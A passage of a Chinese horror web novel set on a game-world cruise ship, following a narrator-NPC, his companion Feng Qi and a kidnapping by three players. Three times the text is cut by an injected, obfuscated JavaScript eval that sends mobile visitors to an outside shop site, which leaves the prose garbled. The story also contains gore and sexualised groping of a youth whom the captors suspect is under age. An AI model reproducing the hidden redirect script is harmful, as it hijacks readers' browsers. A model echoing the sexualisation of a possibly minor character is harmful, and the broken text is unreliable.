因为少年关门前回头看向他,神色淡淡,“不好意思,换个房间。” 那扇门又在他面前关上了。 客厅里只剩下孤零零他。 所以……他刚刚看见了一个npc不仅进入了玩家的客房,将另一个玩家提溜进了房间,还打算和那个玩家共处一室?! 封戚看向手里除了那一摞攻击道具外的那个检测生物副本内身份的道具,陷入了沉默。 ——竟然是一个核心npc。 还是个貌似不伤害玩家的漂亮核心npc。 封戚俊美的脸上满是怅然。 海内存知己,天涯若比邻。这天下这么大,副本又这么危险,多个朋友多条路么……他也想跟那么可爱的npc做朋友! 可恶,那个玩家运气好好。 男人又喝了口手中美酒,幽幽叹了口气,挑起眼尾朝那扇紧闭的门投去一眼,转身走向自己的房间。 自始至终没去思考那个玩家为什么姿势诡异,会不会已经死了?那个十分符合他眼光的核心npc又想对玩家做些什么?对方为什么要同他换房间,以及又是否会转头朝他下手……一切即使在任何玩家看来都极为异常诡异且极端危险的场景在他眼中好像在正常不过。 为什么呢? 男人轻眯着眼睛,陶醉于酒精,门在他面前打开,扑来的黑暗瞬间被无形的手湮灭抹除。 那双淡绿色的桃花眼中一丝的邪气转瞬而逝。 “哇哦,小惊喜。” 他漫不经心地绕过地上血肉模糊的尸块,而那根根从男人影子里伸出的骷髅白骨,那是比死灵更恐怖的存在。 封戚的一切忽视与不在意,当然是绝对实力给他的底气。 ——不会真的有人认为,这位新人榜上赫赫有名的No.1是被那点模糊躁动的情愫糊住了双眼吧? 封戚躺在床上揉了揉脸,突然想起了少年冷漠的脸,然后开始发呆。 ——好像……还真是? * 我再次将白九儒丢在一边。 卧室内部自带一间配有浴缸的卫生间。 找张纸蘸了点水,我擦了擦躺在地板上的白九儒的脸,上面有之前留下的血迹。 任务面板上玩家数额目已经下滑到九百出头,半个小时的时间死了近七十位玩家,这里头又有几个算得上新人呢?可在足够警惕的情况下还是死了。 还差五分钟到十二点。 自十分钟前出现的危机感从四面八方侵蚀着理智。 众所周知,恐怖片里凌晨时刻都是一个生与死之间的大坎。 何况我这里还有个只会喘气的累赘。 我:【崩人设和死宿主选一个。】 新系统无奈:【您都发话了,那自然是按照您的意志。】 他想了想,又道:【虽然就算您死了我的工资也不会少上半分,但是念在认识这几小时的交情上,我会花五分钟为您哀悼。】 听着声音,我这才想起系统换了一个。 轻啧一声,我推开房门,与那边同样从门里出来的玩家对上了视线。对方先是一怔,然后目光下移,看到又被我提溜出来的白九儒身上,眼中带了点同情。 我暗中抬起手。 白九儒的房间被他自己动了什么手脚我不清楚,但对方既然安然无恙的出来了,说不定还会把这茬怪罪到我头上。 要先下手为强吗? 对面只有一个人,应该也不会扣太多人设积分。 男人没有任何防备的站在对面,见我看过去时挥手打了个招呼。 背后的手最终被放下,我收回了视线。 那个玩家却靠了过来。 他头发微长,后面绑了个小啾啾,一脸自来熟笑眯眯地搭话道:“你好啊我叫封戚,今年21岁,无不良嗜好,在外有车有房有存款,还有一份固定高薪工作,要不要认识一下?” “时序。”我道。 “很好听的名字。”封戚眨着桃花眼恭维。 在他或许还想再说些什么时,悬挂在客厅的电子钟表在黑暗中亮起,计数的红光开始疯狂地、极速地闪烁,直到尾数59在某一时刻归零—— 所有光源瞬间被切断,周围漆黑一片。 系统道具对这片黑暗无用。 原本似有若无的鲜腥恶臭愈来愈清晰。 仿佛凝固的时间很快被一串仓促的脚步声打断。 脚步声慌乱、沉重,却目标明确。 最终停下。 “咚咚咚!!” 门外传来剧烈又紧促的敲门声。 “快开门呀!!”清脆好听的女声此时充斥着恐慌,拍门的动作也越来越重,“麻烦开门让我进去躲一下,拜托!外面,外面有怪物在追我!!” 我:“麻烦描述一下怪物的样貌,谢谢。” 外面的:“……都这种情况了你怎么还想着这个?!没听见刚刚外面的声音吗快放我进去!它们就快拐弯过来了!!” 语音未落,外面就应景的响了几声。 做戏做得还挺全。 但对方不知道房间里配备了可以看到外面的电子屏吗? 我看着电子屏传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738142|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的满脸长蛆的类人型生物,有点想报警。 我:“你怎么能确定我不是那种喜欢听人被撕碎发出的声音的变态呢?说不定我正在有意拖时间……哈哈,开玩笑的。吓到你了吗?” 封戚没说话,闻言暗中瞥来一眼。 而对面像是真的被吓到了,半天没再说话。 就当我以为对方已经放弃时,那头突然传来人体被撕裂的声音,伴着凄厉的尖叫声:“你个狠心恶毒的人我诅咒你不得好死啊啊啊啊啊啊啊啊啊啊啊!!!” 我:“你——说——什——么——?” 我:“风有点大,你是在——祝我——幸福吗——!谢谢!” 对面一梗。 世界变得安静起来。 身旁封戚面色复杂,活像入洞房时才发现新娘性别同样为男,还是个属性相撞的1:“……朋友,野啊,之前干什么的?” 我:“欠了一屁股债的可怜羔羊。” 封戚也一梗。 对话没坚持太久,因为门外又响起似曾相识的急促脚步声。 “恩公啊,外面有很恐怖的东西在追我,能不能开下门,让奴家进去躲一躲呢?至于报酬嘛……任君采撷,如何?”尾音带了点鼻音,勾起惑人心扉的调子。 这次是御姐款的。 那脚步声在接近门口时,似乎是脚底打滑啪嗒一下摔倒了。 电子屏幕显示,因为刚刚为了使声音更逼真,对方确实撕下了自己的一条胳膊,流了不少血。 所以它应该是被自己的血滑倒了。 封戚:“噗。” 对面:“……” 封选手提前一步打乱敌方施法! “哎呀,好痛呢。” 对方似乎试图站起来,但没成功,因为我们又听到了“啪”的清脆声。 封戚装模做样小声道:“……该不会是脑子发育不健全的残疾人吧?那我之前没忍住笑出声会不会有损功德?” 我也小声蛐蛐:“有可能哦。” 可能因为我们吐字字正腔圆,也可能npc耳朵性能超棒,反正对面听到了。 这次,原本娇嗔的声音被一个字一个字蹦出来的咬牙切齿取代,没有丝毫妩媚可言:“啊,奴家的脚好疼呢,好哥哥们快放我进去吧。” 我:“有钱吗?” “……?” “好妹妹,我如今负债累累,受尽折磨,想必妹妹愿意付些钱财,来买自己的命吧?” 那一刻,后槽牙被咬碎地声音清晰可听。 “…………我,我如今出门急,来不及拿钱。如果你们肯先放我进去,妹妹我以后定当重金回报。” 我:“没钱?没钱哪里来的脸?滚。” 撕碎声。 封戚闻言,淡绿色的桃花眼惚地亮了起来:“你真的缺钱?缺多少?我可是很会赚钱的,要不我借你?” “骗她的。” “……哦。” 门外持之以恒的声音又开始了新的一轮。 “喂本小姐很有钱的。只要你开门救了我……” “我是那么世俗的人吗?别跟我谈钱,脏。” “???” ——撕碎声。 …… “贫僧有缘遇到施主……” “不喜欢光头。” ——撕碎声。 …… “帅哥,要看我这一头茂密的头发……” “卖假发的。不要。” ——撕碎声。 …… “……” ——撕碎声。 …… 不错,挺执着。 39.惊悚游轮(9) 我没说几句便丧失了兴趣,蹲在客厅一个角落里数地毯的穗子。 后面对话的主角则变成了跃跃欲试的封戚。 这玩家倒也是个嘴皮子利落的。 新系统:【其实按照您抽到的人设,您刚刚应该柔弱害怕的跌进这位玩家怀里,那样柔弱,那样惹人怜爱……哎呀,还是算了。】 新系统话锋一转,不再劝阻。 一个小时后。 门外依旧喋喋不休,锲而不舍。 “真是够可怜,KPI肯定达不了标了。”封戚意犹未尽的勾起唇角,眉眼间的风流意气流露。 我点头赞同。 “话说,这人到底是谁啊?多大人了怎么现在还需要人照顾。” 封戚倚着旁的雕塑,指了指还在昏迷的白九儒。 “不知道,随手捡的。” “怪没用的,要不扔了吧?” 我回头瞥了眼封戚,他一脸平静淡然,似乎只是随口说的一个无足轻重的提议。 嗯,刚刚听到的跃跃欲试可能是错觉。 “他吃了我一颗心脏,扔了岂不白瞎?” 此时我丝毫不知道这句话给封戚带来了什么样的误解,以至于对方竟然把白九儒当成始乱终弃的渣男。 男人沉默片刻,“会对你身体造成什么不好的影响吗?” 一个用别人身上的道具能对我有什么影响。 我奇道:“当然不会。” 他又沉默,半天才小声道:“真羡慕他。” 我神色古怪的看着他,“……” 就连新系统也不理解:【他在羡慕白九儒什么??是为陌生npc占卜结果自己反倒七窍流血死了,还是被迫喝了别人碾碎的心脏化成的血肉残渣?亦或是被你提溜垃圾似的走到哪丢到哪?】 不理解,但尊重。 “开门吧。”我道。“太吵,睡不了一点。” “行。”封戚应了一声,随后率先走到我前面,准备将门打开。 我:“等等。” 封戚:“?” 我从卧室找了根结实绳子将白九儒捆了起来,绳子另一头拴在我手腕上。 “好了,走吧。” 封戚:“……” 他打开了门。 在对面一群残肢断肉扑上来前,一张符纸从他袖中甩出,精准进行集体轰炸。 轻而易举。 “野啊兄弟。” 封戚回头自信漏齿一笑,“小意思。” 刚要说些什么,我无意间瞥见高空中炸开的肉脂颗粒的全部容貌,瞳孔猛缩,当机立断搂过封戚的腰,一个巧劲与他互换位置,漆黑的魔气从手掌中溢出的瞬间构成一个圆形屏障。 那些漂浮在空中或大或小的东西哪里是什么人类的身体组织,分明一颗颗眨动的眼珠子! 如今它们被彻底炸开,那些再次降落时铺天盖地的眼珠子恐怕就会均匀覆盖在我们皮肤上面,搞不好还能溶入进去…… 想想就够恶心的了。 “嗯?怎么突然就……”封戚脸红了些,还没缓过神来。 上空的眼睛们此时纷纷落下,落在魔气上有些被侵蚀干净,但更多的是从上面滚落到地上,噼里啪啦,像熟透了落地的果子。 但它们更具弹性。 现在封戚也看到了那些在地上朝着我们弹来的眼球。 不止我们面前有,整个九层的过道都遍布大大小小的血坑,从远处仔细看能发现液体表层有蠕动产生的波动。 “…………” 他扭头问我:“我可以觉得它们又丑又恶心吗?” “?” “随你。” 问我干什么,这又不是我搞出来的。 他又道:“这救命之恩……” 我将捆起来的白九儒递给他:“你背着他。” 一路上老是将他拖在地上,我那为数不多的良心有点痛。 封戚神色幽怨的接过了。 我蹭掉了鞋尖上的那点血。 这种怪物虽然恶心,但并不会给我带来危机感。那会是什么呢…… 【注意人设,您刚刚被警告了,现在只剩下一次机会。】新系统慢悠悠的打断我的思绪:【我提醒过您了。】 倒霉。 走廊里除去聚集在门口被封戚秒了的那群以外,也死了不少由眼球组成的“人”,或许是住在九层的其她玩家做的。 第九层过道此时格外安静。 过道两侧房门大多全部敞开和关闭,微微敞开的反而是少数。 “前两种目前应该是安全的,要么已经安全离开,要么是彻底死了,成为地上的血的一部分,要么就是从头到尾没有开过门的客人。” 封戚站在一扇微开的门前,我点了点头,门被彻底打开了。 里面很黑,但我因为道具能看清道路。 或许封戚也有类似道具,我看见他在黑暗中如履平地,不一会就找到了灯的开关。 “啪”,亮起来了。 随之而来的是窸窸窣窣的移动声。 我放轻脚步,顺着从门外延伸到室内的血,到了卫生间门外。 声音也是从这里发出的。 血腥味极重。 “你好。”我开口打破了沉默。 里面的摩挲声停止了,开始发出“呜呜呜”的无意义音节。 像是被堵住嘴的人类能做出的回应。 去追寻另一条更明显血迹的封戚此时饶了过来,他摇摇头,示意我那边什么都没有。 门另一侧的人似乎已经有些不耐烦,开始暴躁地撞门。 这次是我打开了门。 门打开的瞬间,里面那物猛地冲了出来,我身上的魔气也在同一时间形成一道屏障,以阻碍对方上前。 ——是一个浑身上下沾满了血,被床单捆起来的五六岁小孩。 “还能听懂我说的话吗?听得懂点点头。”我对这个被魔气吊起来的小孩说。 小孩听不懂,小孩张开嘴,露出染满鲜血的牙龈朝我嘶吼。 “……是应激了吗?”我自言自语,又转头朝封戚道:“为什么她不朝你叫?难得是看你没有人性?” 他莞尔一笑,也不恼,接下了话,“也许是觉得你太有母性。” 哈。换成这个‘墓’还差不多。 那双淡绿的眼睛往密闭空间里扫了一眼,封戚双手抱臂,淡淡道:“这小孩没救了。” “她怕是已经把里面的另一个房客……或者什么怪东西给吃了。” 男人侧开身,卫生间内部有一个浑身长满眼睛,血肉模糊到已经看不出人样的肉团。从四分五裂的碎肉来看上面确实是幼齿的咬痕。 眼珠子在暗光中在血泊里一眨一眨。 我收回目光。 “奇怪……她身上怎么没有那些眼珠子?”封戚不知道从哪里捡了只晾衣杆,杆子一下一下戳着被吊起来的小孩。“那鬼东西难道不是具有传染性的吗?” “可能进化了吧。”我毫不在意。 还在呲牙咧嘴的小孩被形如黑色雾气的魔气侵蚀干净。 “走吧。去其它地看看。” 封戚颇为遗憾地瞧着地面上的血渍,“说不定将她剖开就能看见眼珠子了呢。” “脏死……下次你动手。”我也了他一眼。 “行啊。” 他愉悦的笑出了声。 接连进了几间客房,里面的‘客人’没有一位出现和那个孩子相同的情况的。 在杀掉第九层的最后一只眼睛怪物,我看向封戚。 “怎么了?”那双拥有清澈绿色的桃花眼正在专注的看着我。 我皱眉道:“你没发现吗?太安静了。” 哪怕出手时是一击必杀,余威仍会震碎室内的一些易碎物品,可是即使这样仍然听不见隔间紧闭门房内传来的交谈声。 整个过道就像只剩下我们两个活人。 “或许是隔音太好了。”封戚道。 倒也有这种可能。 或者死了太多普通npc,活下来的玩家也出去寻找线索,所以才显得这一层格外幽静。 就在我思考接下来去哪时,系统发布了第三个支线任务。 【请剩余存活玩家前往赌场或角斗场,并成功获得一百万筹码。】 我不开心了。 【为什么我一个npc还需要干玩家的活?】 新系统:【哦,这个您可以不做来着,业务不熟忘了跟您说了。玩家的支线您可以自行选择是否接受,如果接受您获得的积分是普通玩家的两倍。】 ……业务不熟?? 【但是担任npc身份的玩家有一张单独的任务表,必做任务会根据副本进度推送。】 点开玩家个人面板的副本任务,那里此时除了主线支线任务以外,多了个npc身份任务。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741682|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我点开了任务清单。 给核心npc弗莱德留下印象——已完成 给核心npc安东尼留下印象——已完成 与核心npc安东尼牵手——已完成 倒计时结束前登上游轮——已完成 给核心npc亚当斯留下印象——已完成 ………… 这什么东西? 看起来像是奇怪的交友小游戏。 【你感染病毒了?】我问新系统。 新系统哂笑:【怎么可能?您被病毒一口咬掉半个脑袋我都不可能被病毒感染。】 【我打听了一圈,还没有哪个npc玩家的任务像您这样。】 【所以问题应该从您身上找才对。】 有些低沉的男声逐渐恶劣:【让我看看您……亲爱的,您简直是人间姝色,我不信您不曾有过疯狂痴迷于您的示爱者,真好奇您是怎么拒绝他们的呢?】 碎嘴子的系统真该庆幸自己没有实体。 跟系统的对话属于意识层面,放在现实也不过几秒的功夫。想到玩家的支线三,我看向封戚,“你有什么想去的地方吗?” “我吗?角斗场吧,好久没热身了。” “还以为你会去赌场。” 他耸耸肩,“之前去过了。怎么这么问?” “你看起来不像很能打。” 比起肌肉虬结的拳击手,这人更像游戏人间的富贵公子。 “那是因为我没有在你面前露过手。”封戚漂亮的桃花眼里情意绵绵。 “如果是我的话,我会去赌场。”我道。 “那我也去赌场。”他改口道。“我赌博特别厉害,咱俩第一次见面时我手里拿的那瓶酒你看见没……” “不是‘也’,我不去。”我打断他道。 封戚一愣,“那你去哪?” “睡觉。” 我打了个哈欠,丢给封戚一件饰物,又说了一遍:“我睡觉去。” 指指白九儒。 “他就先放你那了。作为交换,这个给你。” 他一把接住那个被漆黑雾气缠绕的镯子,好奇地将眼睛凑近那片雾,片刻后一本正经的跟我道:“这个可爱,我喜欢。” “……” 看着封戚在旁捧着手镯左瞧右瞧,爱不释手的样子,为了保护我俩的战略性玻璃友谊,我想还是不告诉他那团雾气此时能轻而易举地穿过他的眼眶刺穿他的脑袋了吧。 “你可以理解为它跟现在撑在外面的壳子是一个东西,可以防止你沾上那些眼珠子。像现在这种程度的攻击凭借它抵挡不在话下,但如果遇到的攻击增强,手镯则会受到一定程度磨损,直到彻底破碎。如果你保存得好,它或许可以为你抹除一次致命伤害。” “我相信你可以解决掉自己的私事,然后带着你完好无所的舍友回到寝室,对吗?” 封戚已经将那个手镯戴在手腕上了,闻言,他抬头露出一个帅气的笑容,淡绿的桃花眼轻轻眨了眨,“没错。我会不辱使命,早些回来见你。” “……倒也不必。” 跟封戚分开后,我没有回去睡觉,而是转身走进电梯相反方向的楼梯通道。 再次把新系统屏蔽,当下耳根子一片清净。 前往甲板的楼梯道有很多具尸体,也有数不清的诡异眼睛,当然,它们都不能阻挡我。 我踏上甲板,黑色的雾将已经扭曲的人体上涌动的眼睛与我隔离。 海上也逐渐起了雾。 高处的灯在海雾包裹下若隐若现。 我想夜晚的游轮大概也同深渊上空航行的灯塔一般,明明又灭灭。 我站在空荡荡的甲板上,手搭着有些阴冷的桅杆,带着些许腥味与潮湿的海风并不猛烈,它们拂过发稍。幽绿发深的海水有水母,以及一些不认识的生灵,它们有的潜向深处,有的靠在船边,像是依偎在大树旁的蘑菇。 我依旧能感受到那股子扭曲的恶意,它也依旧鲜明。 不过一想到这个副本吃的喝的与景儿都很好,就觉得也不是不能忍受。 下巴埋进垫在冷飕飕的桅杆上的双臂中,我眯起眼睛,舒服地吹着来自这片海域的凉风。 …… 身边不知道什么时候站了个人。 依旧沉默。 对方不开口,我也不会主动打破这从副本中偷来的片刻静谧。 东边的天蒙蒙亮了。 40.惊悚游轮(10) 睁开眼时,身旁那人已经不在了。 因为不重要,我没有把这件事放在心上。 金黄的朝阳万丈光芒地登上深海的舞台,驱散了昨夜带来的阴影。 今天或许是个好日子。 我活动了下酸涩的肩膀,起身离开甲板。 甲板与楼梯道上的眼睛,尸体,和大片的血迹不翼而飞,取而代之的是油光可鉴的表面。 来来往往的乘客擦肩而过,而我似游鱼,穿梭在碍事的水草间。 后台系统提示音奏起交响乐,白口罩与鸭舌帽也阻挡不住的视线蜂拥而来。 我只好用掉一个T8列道具降低自己的存在感。 一楼餐厅此时聚满了人。 餐桌上的海鲜更多了。 餐盘里呆滞浑浊的鱼眼让我莫名联想到那些可以长进人体的眼珠子。 昨天还小心谨慎的玩家今天毫不在意的将鱼放在自己的盘子中,更有甚者站在原地,直接上手抓着整条鱼塞进嘴里,酱料和鱼油抹得满脸都是,全过程表露出的神色却称得上愉悦。 好在这类现象只出现在极少数的个别玩家身上。 餐厅内的npc人数相对昨天而言少了些,可能是打算错峰吃早饭。 但我觉得更多原因还是昨晚进行的一定幅度的减员。 餐厅里的npc大多满面红光,神情餍足,只有少数眼下黑眼圈浓厚,面相恐慌。 我又看了一遍玩家面板。 玩家剩余人数:891。 我稍稍放下了心里的那点不安。 就在这时,有人在身后轻拍了下我的肩膀,我下意识反扣住对方胳膊,回头看去,对上了一双…不止一双泛着红血丝的兴奋眼球——! 最近的红眼男模样端正英俊,但那种不正常神情的眼神却让我脊背隐隐发凉——那是捕猎者对上逃脱不掉的猎物时才会露出的,既兴奋又期待的神情! 余光中,他身后几名玩家不知何时悄无声息的将我团团包围,一双双眼睛里是仿佛能焚烧一切的热切。 瞬间,来自系统的提示音铺天盖地的涌现。 “你们……” 我刚要张嘴,一双肤色较深的大手从身后紧紧捂住我的嘴,却又小心的避开了呼吸的鼻子。 心下一惊,我一个肘击袭向身后的人,谁知对方像是早有准备,轻松躲开不说,还将一个泛着冷意的利器抵在腰部。 低沉的声音从后方传来—— “不要动哦,刀剑无眼,一不小心伤到你可就不好了。” 面前似乎是领头的男人弯下腰,兴奋地朝我比了一个噤声的动作,轻声道:“之前你去赌场揍人那会我们都在现场,瞧瞧,我们发现了什么——一只暴力小羊羔!” “打法凌厉,下手狠辣……小羊羔,不这么做我们还真没信心能快速隐蔽的将你带走,所以对不起啦。” “带走吧。别待会被其他npc发现了,惹出麻烦事。”站在一旁始终没出声的人道。 注意到周围隐隐有人看过来,我停止了剧烈的挣扎,被带着离开餐厅。 这里人太多,我若真被看到也只是徒增烦心事,何况碍于npc身份与系统我不能做出人设以外的动作。 比如砸得他们头晕目眩找不着爹妈。 【好暴力。】 新系统一号煞有介事道。 【不过依据我对您的实力分析,您一个人打不过他们三个资质不错的老玩家。】 【一个T4,两个T5……哦亲爱的,您真是倒霉,此次副本中大概不会有玩家比他们实力更强了。】 等等我还没吃早饭! 我“唔唔”的还没叫几声,身后那个黑皮的手指直直插进嘴里,夹住我的舌头,还饶有兴趣的捏了两下。 涎水控制不住从张开的嘴里流出。 怪痒的。 【宿主您口水留下来了哦。】 【好色情。】 【……】 这系统能不能现在、立刻、马上暴毙? 三个玩家带着我走进一间客房。 我在路上被这些玩家使用了道具。 从玩家面板上的个人状态来看,负面状态是半个小时失去视觉、味觉、嗅觉等,我现在只剩个听觉,触觉和部分对外界的感觉。 行吧。 从这几人步行的速度和上楼梯的时间来看,这间客房大概在八楼。 而八楼都是四人间。 现在他们将我放在一个柔弱的物体上——我猜测是床。 在路上时,我在意识里翻了翻系统提示记录,才注意到这三人竟然都触发了性质一。 再仔细一看,竟然触发的情感还都是【善意】。 善意还要威胁绑架,那恶意得有多糟糕? 【大概就是先把您***在桌子上再*****您的******吧。】新系统有所感悟。 【……】 我怀疑他现在对屏蔽都有抗体了。 这得举报。 一双有些粗糙的手狎昵的擦着涎水淌过的地方。 “艾伦,你刚刚揍他了?这个可爱漂亮的东方亚裔怎么看起来像是被你在路上欺负了?”这是为首那个男人的声音,此时听上去似乎有所不满。 “什么都没有,乔,他皮肤太敏感了。”被叫艾伦的黑皮男人哂笑,我感觉他现在正在注视着我:“你真可爱,怪不得那几位大人看得那样紧,叫我也舍不得将你送出去了。” “你好恶心。”乔嫌弃道,燥热的躯体却靠了过来,依旧是那双粗糙的手。带有的茧子手轻轻地擦过耳垂,随后它的主人发出一声惊讶短促的吸气,像是第一次见到豪华肉餐的流浪小狗,兴奋的冲着肉骨头摇尾巴。 “还真是,这么轻轻摸了一下就红了。” “我真的好喜欢你,你好可爱,小小的一只,打人的动作也那么暴力那么可爱,想把你揣兜里带走……”乔兴奋又激动的絮絮叨叨说了好多话。 【像只讨人厌的蚊蝇。】新系统冷哼一声。 “你吓到他了,乔。或许你应该问问他成年没……啧,真细,该不会真的没成年吧?” 身后又是一个不同的男性躯体,强有力的肌肉箍住腰部,痛感从皮肤接触处传来。 【因为羔羊体质。我猜您那里待会得青了。】 “差不多行了。” 坐在最远处,沉默的第三人突然出声,之前提出早些离开餐厅的也是他。 “你们可真有雅兴。”他嗤笑。“但最好遏制一下你们脑子里那些乱七八糟的念头,别忘了他现在是【隐藏任务】。” 嗯?谁是隐藏任务? 【您没听错,就是您。】新系统饶有兴趣,【让我看看……咦,任务名叫‘游轮主人的羔羊’,要求将有下列特征的人类毫发无伤的带回……哪个特殊npc颁布的,真够无趣。】 新系统丧失了兴趣。 另外两个玩家没理第三个玩家,这两人不知道在鼓捣什么,前面那个叫‘乔’也不好奇的碰来碰去了。 室内安静下来。 过了一会儿,第三个玩家突然狐疑道:“你们两个在低头搞什么?该不会打算联手杀我一个吧——” 与此同时,我的面前刮过一阵风,第三个玩家速度极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749660|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,几乎在落声的瞬间便抵达我前方。我感受到衣领被扯起,随即整个人停滞在半空。 脖子有点勒。 我想。 所以……我现在是被第三位玩家跟提垃圾一样提溜着? 耳边是新系统一连串的聒噪笑声。 “靠!文特森,这就不道德了吧?”是乔有些烦躁的声音。 听起来暴躁的像是随时可能动手。 艾伦:“谈条件前先给他换个温和点的姿势,你那样他会不舒服的。万一死掉了怎么办?” ——好搞笑的死法……等等,我看起来有那么容易就死掉吗? 文森特“嘁”了一声,手上却没有丝毫迟疑的把我掉了个个。 所以我现在坐在对方手臂上,全身无骨似的倒在他身上。 ——所以你真的相信了啊? 我无语凝噎。 “都是玩家我知道你们在看光屏。把你们今天系统商城的购买记录传送给我,要不然我就杀了他,反正大不了咱们一起被这个副本的所有npc追杀。”文特森很是无所谓道:“级别够了系统商城里什么古怪玩意都有,谁知道你们是不是想用高级道具偷袭我……我可不想被两个隐藏实力的T5列玩家在背后捅刀子。” 话虽这样,却没有对我的杀意。 【好正常的对话……您说这些玩家能坚持多久。】新系统话锋一转,语调稍高了些,显得有些兴奋:【在精神污染的大环境下,一切思想、行为都会被扭曲,一切情感都会更加疯狂而致命!而拥有精神性质卡牌的您——简直是行走的、他人不设防的感染源!】 翻译一下,会传染的霉运儿。 那也是这些人活该不是吗。 见我不搭理他新系统也不恼,拉着长调继续往下说。 【而对于精神较稳定的人来说,精神污染的第一症状便是——】 【狂热。】 【没错!】他愉悦地回答。 【看起来您已经注意到了,不是吗?】 昨天下午赌场那些人面红耳赤的异常痴迷面孔浮现上来。 乔和艾伦之前偷袭时候的表情和刚刚摸这摸那的举动也很怪……他们表现出的热情与兴奋已经脱离人类的正常社交,但比起赌场那些人症状却不算明显。 道具的禁锢随着时间的推移慢慢消失。我试着链接身体各个部位……已经可以活动了。 现在动手? “发给你了。现在可以放下他了吧?” 那边乔紧跟着小声的嘟囔了几句:“疑心病够重的……谁稀得搭理他啊,该不会真把自己当成那喀索斯了?不愧是野生的水仙花,够自恋。” 身下倚靠的躯体僵硬了一瞬,嗯很显然,文森特本人也听到了。 他咬牙切齿,不甘示弱回道:“你又是什么好东西,看着人家小男生都想到给人家穿小裙子了?真够变态的。” “还有你艾伦,你们两个真是臭味相投!……买的样式都差不多。” “原来你也……?”左边传来乔震惊的声音。 “啧,文森特你不想?别以为我没注意到你往这边瞅了多久。眼馋又拉不下脸是吧?” 文森特……文森特脸爆红。目光却飘忽的往我这边飘来,飞快扫一眼,再扫一眼,又扫一眼,好似做贼心虚。 “………” 俗话说‘三个女人一台戏’,如今这里有三个男人—— 【我看他们唱上一天没有一点问题。】新系统如是评价。 我在心里赞同的点头。 ——等等,好像有哪里不对……你们要不要再说一遍,给谁穿小裙子? 41.惊悚游轮(11) 那边文森特和艾伦说得有来有回,这边暂时被挤出战局的乔叼着根棒棒糖,听到簌簌风声陡然在耳旁,连忙闪身躲开。 顺着风声破空而去的方向,那里原先摆放整齐的沙发此时连点渣都不剩。 他若有所思地望向风声来的方向,一旁的艾伦和文森特也在动静出现的一瞬看了过去。 “什么也没有。” 艾伦皱着眉头,手里拿着一个探测生命体的道具。 “很不错的一击。”乔收回视线,“如果我没能即使反应过来,化成灰的就不是沙发,而是我了。” “那不是件好事?”文森特翘着二郎腿,幽幽道。 很显然,他对乔之前那句话介意的很。 “所以……这是都不打算完成隐藏任务了?” 问出这话的是艾伦,这个黑皮男人此时仰倒在椅背上,挑眉开口。 文森特冷哼一声,“一个npc而已,带回去养着不轻轻松松?公会什么时候差这一口饭吃了。” “我出道具和全部积分!”乔高兴道:“带回去我养着,他就是我的了!” “我一个人的。”顶着两位塑料临时队友的视线,乔拽拽的又加了句。 艾伦右手一翻,一张卡片瞬间出现在他手中,“道具和积分我也有。” 文森特露齿一笑:“不就是道具吗,我也有。” “我财富榜榜上有名。” “得了吧,你也就卡着尾巴上去的!我手上道具上至T3下到T12应有尽有,带个小npc绰绰有余!” “卡着尾巴那也是进了榜,有本事你也上个财富榜试试啊?再说了,总榜上我比你俩排行都高……” 三人叽里呱啦吵成一团。 “要不你们打一架?” “好主意!凭实力说话公平公正!”乔扬起嘴角,呲个牙朝出声那人的方向扭头,“谢谢你啊兄——!” 乔在转身的瞬间被控住了。 另外两个跟着转头的人也紧跟着被控了。 ——出声的正是他们话题谈论的中心人物。 少年不知道什么时候解开了道具束缚,此时托着腮笑着看着他们,手里随意摇晃着已经半空的墨绿油油的麻药瓶,一头浓密的乌发软软落在苍白的皮肤旁。 明明少年的长相仍然是初见时的孱弱和柔软,但周身阴冷危险的压迫感却足以让人下意识忽略他脆弱的外表……不,应该说是他带来的压迫感强制着所有人在他面前,重重低下头颅! 半眯的玄黑色眼睛深不见底,里头的不爽和恶意却能被肉眼所见。 像只随时可能伸出爪牙的猎豹。 “说呀,怎么不说了?” 漆黑的翻涌着的黏腻流体不知何时爬上他们的脚背,逐渐向上半身蔓延! 值得一提的是,流体里面掺杂着虽神色各异,但皆凄厉哀怨、怨气十足地咕噜打转的眼珠子。 如果说这几名高玩一开始只是被‘美色’控住了一瞬,现在就是物理意义上的被彻底控住了。 少年漆黑恶意的眼珠子滴溜溜的转,阴森潮湿的雾气在他身边绕着圈圈,非人感十足。 乔开着的直播间此时炸开了锅。撇开小部分嘲笑他们太过自傲以至于阴沟里翻船的,还有大部分好奇发生了什么的—— 【谁来说说怎么回事??刚刚还手无缚鸡之力被用了道具的小npc怎么突然发起了攻击???】 